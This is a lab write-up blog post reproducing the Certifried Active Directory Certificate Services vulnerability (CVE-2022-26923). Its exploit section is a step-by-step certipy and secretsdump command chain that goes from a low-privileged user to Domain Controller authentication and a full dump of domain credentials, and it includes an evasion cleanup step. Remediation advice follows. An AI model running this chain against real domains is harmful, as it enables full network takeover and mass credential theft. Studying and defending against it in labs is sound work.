Post cover image
Certifried Lab Topolgy

July 17, 2026

Reproducing Certifried (CVE-2022–26923)

What if I told you that any regular employee with a basic domain account could take over an entire corporate network by abusing a feature…

By Sarah

5 min read

What if I told you that any regular employee with a basic domain account could take over an entire corporate network by abusing a feature that's enabled by default in most Windows environments?

That's exactly what CVE-2022–26923, nicknamed "Certifried," allows. Discovered by Oliver Lyak (ly4k) and patched by Microsoft in May 2022, this vulnerability targets Active Directory Certificate Services (AD CS).

What You Need to Know First

Before diving in, let's cover the key concepts. Skip ahead to the exploit if you're already comfortable with AD and certificates.

Active Directory (AD) is how most companies manage their Windows networks. It's the central directory that controls who can log in, what they can access and how machines are organized. The Domain Controller (DC) is the server that runs AD. If you compromise the DC, you own the entire network.

Active Directory Certificate Services (AD CS) is a Windows server role that lets organizations issue digital certificates. Think of certificates like digital ID cards. Machines and users in the domain can request certificates to authenticate themselves.

Machine accounts are AD accounts that represent computers joined to the domain. Every computer in the network has one, and they end with a $ sign (e.g., WORKSTATION01$). By default, any regular domain user can create up to 10 machine accounts (this is controlled by a setting called ms-DS-MachineAccountQuota.)

PKINIT is a Kerberos extension that lets you authenticate using a certificate instead of a password. If you have a valid certificate with the right identity information, the domain will hand you a Kerberos ticket for that identity. No password needed here.

dnsHostName is an attribute on every machine account in AD that stores the machine's fully qualified domain name (e.g., DC-01.certifried.lab). When AD CS issues a certificate using the default Machine template, it reads this attribute and embeds it into the certificate's Subject Alternative Name (SAN). This is the attribute Certifried abuses.

The Vulnerability

The root cause of Certifried is deceptively simple: before the May 2022 patch, Active Directory did not validate whether a user had the right to set a machine account's dnsHostName attribute to match another machine's hostname.

Here's the chain of failures:

  1. Any domain user can create machine accounts (default quota of 10).
  2. The creator of a machine account has permission to edit its attributes, including dnsHostName.
  3. AD does not check whether the new dnsHostName value already belongs to another machine. The only validation is on servicePrincipalName (SPN) uniqueness .
  4. When the Machine certificate template processes a request, it reads dnsHostName from the requesting account and embeds it into the certificate's SAN.
  5. When that certificate is later used for PKINIT authentication, Kerberos maps the SAN back to whichever account actually owns that hostname. The real DC, not the attacker's fake machine.

The result: a low-privileged user can obtain a certificate that authenticates as the Domain Controller.

Brief Lab Setup

I built a minimal isolated lab to reproduce this:

  • Hypervisor: VMware Workstation with a host-only network (no internet exposure)
  • Domain Controller: Windows Server 2022 Standard Evaluation (Server Core), hostname DC-01, domain certifried.lab, static IP 192.168.41.130
  • AD CS: Enterprise Root CA named certifried-CA with the default Machine template published
  • Attack machine: WSL2 (Ubuntu) with certipy-ad v5.1.0 installed
  • Test account: lowpriv— a standard domain user with no special privileges

The critical detail: Windows Update was disabled immediately after setting up AD CS to keep the environment in its pre-patch, vulnerable state. The default Machine template is vulnerable out of the box. No misconfiguration needed.

None

The Exploit

All commands below are run from WSL using certipy.

None

Step 1: Reconnaissance

First, confirm the CA exists and is accessible:

certipy find -u lowpriv@certifried.lab -p 'Passw0rd123!' -dc-ip 192.168.41.130

This enumerates all certificate authorities and templates in the domain. The key finding: certifried-CA is an Enterprise Root CA with the Machine template published, and Authenticated Users have Enroll permissions on the CA.

None

Step 2: Create a Machine Account

Any domain user can do this thanks to the default machine account quota:

certipy account create -u lowpriv@certifried.lab -p 'Passw0rd123!' -dc-ip 192.168.41.130 -user 'ATTACKERSYSTEM$' -pass 'Summer2018!'

This creates ATTACKERSYSTEM$ , a machine account fully controlled by our lowpriv user.

None

Step 3: Clear the SPNs

Before we can spoof the DC's hostname, we need to remove the automatically generated SPNs. AD enforces SPN uniqueness. If we try to set our dnsHostName to DC-01.certifried.lab while SPNs like HOST/DC-01.certifried.lab exist on the real DC, the update would fail. Clearing our SPNs removes that constraint:

certipy account update -u lowpriv@certifried.lab -p 'Passw0rd123!' -dc-ip 192.168.41.130 -user 'ATTACKERSYSTEM$' -sam 'ATTACKERSYSTEM$' -spns ''
None

Step 4: Spoof the DC's dnsHostName (The Vulnerability)

This is the core of Certifried. We set our machine account's dnsHostName to match the Domain Controller's:

certipy account update -u lowpriv@certifried.lab -p 'Passw0rd123!' -dc-ip 192.168.41.130 -user 'ATTACKERSYSTEM$' -dns 'DC-01.certifried.lab'

On a patched system, this would be rejected. On our unpatched lab, AD accepts it without question.

None

Step 5: Request a Certificate

Now we request a certificate from the Machine template. AD CS reads our spoofed dnsHostName and embeds DC-01.certifried.lab into the certificate's SAN:

certipy req -u 'ATTACKERSYSTEM$' -p 'Summer2018!' -dc-ip 192.168.41.130 -target 192.168.41.130 -ca certifried-CA -template Machine

The output confirms: "Got certificate with DNS Host Name 'DC-01.certifried.lab'". The certificate is saved as dc-01.pfx.

None

Step 6: Restore the dnsHostName (Cleanup)

Good operational hygiene or to avoid detection:

certipy account update -u lowpriv@certifried.lab -p 'Passw0rd123!' -dc-ip 192.168.41.130 -user 'ATTACKERSYSTEM$' -dns 'attackersystem.certifried.lab'

Step 7: Authenticate as the Domain Controller

Using the forged certificate, we perform PKINIT authentication. Kerberos sees DC-01.certifried.lab in the SAN, maps it to the real dc-01$ machine account, and hands us a TGT:

certipy auth -pfx dc-01.pfx -dc-ip 192.168.41.130

We now have the Domain Controller's machine account NT hash.

None

What Can an Attacker Do with This?

The DC machine account hash gives an attacker replication privileges over the entire domain. Using tools like secretsdump.py from Impacket, they can perform a DCSync attack — requesting AD to replicate all password hashes as if they were a legitimate Domain Controller:

secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:afe2f7191dad2baf20837f83993ec96f 'certifried.lab/dc-01$@192.168.41.130'

This dumps every credential in the domain: Administrator, krbtgt (which enables Golden Ticket attacks for permanent persistence), service accounts, and every user. Total domain compromise, starting from a single unprivileged account.

Remediation

  1. Apply the May 2022 patch (KB5014754). Post-patch, AD validates dnsHostName changes against the machine account's ownership, blocking the spoofing entirely.
  2. Reduce ms-DS-MachineAccountQuota to 0. Most organizations don't need regular users creating machine accounts. Removing this default eliminates the first step of the chain.
  3. Monitor for suspicious machine account activity. Watch for machine accounts with cleared SPNs, dnsHostName values that don't match the sAMAccountName, or certificate requests from newly created computer objects.
  4. Audit AD CS templates. Review which templates are published and who can enroll. The default Machine template is safe post-patch, but other templates may have their own misconfigurations (ESC1-ESC8).

Key Takeaways

Certifried is a great example of how default configurations can be dangerous. No misconfiguration was needed, every component (machine account quota, AD CS Machine template, PKINIT authentication) was working exactly as designed. The vulnerability was a missing validation check on a single attribute update. It's a reminder that "default" doesn't mean "secure," and that AD CS deserves the same security attention as any other critical infrastructure component. Thanks for reading ❤

This research was conducted in an isolated lab environment for educational purposes. All systems were personally owned evaluation copies with no connection to production networks.

Tools used: certipy-ad v5.1.0 by Oliver Lyak (ly4k)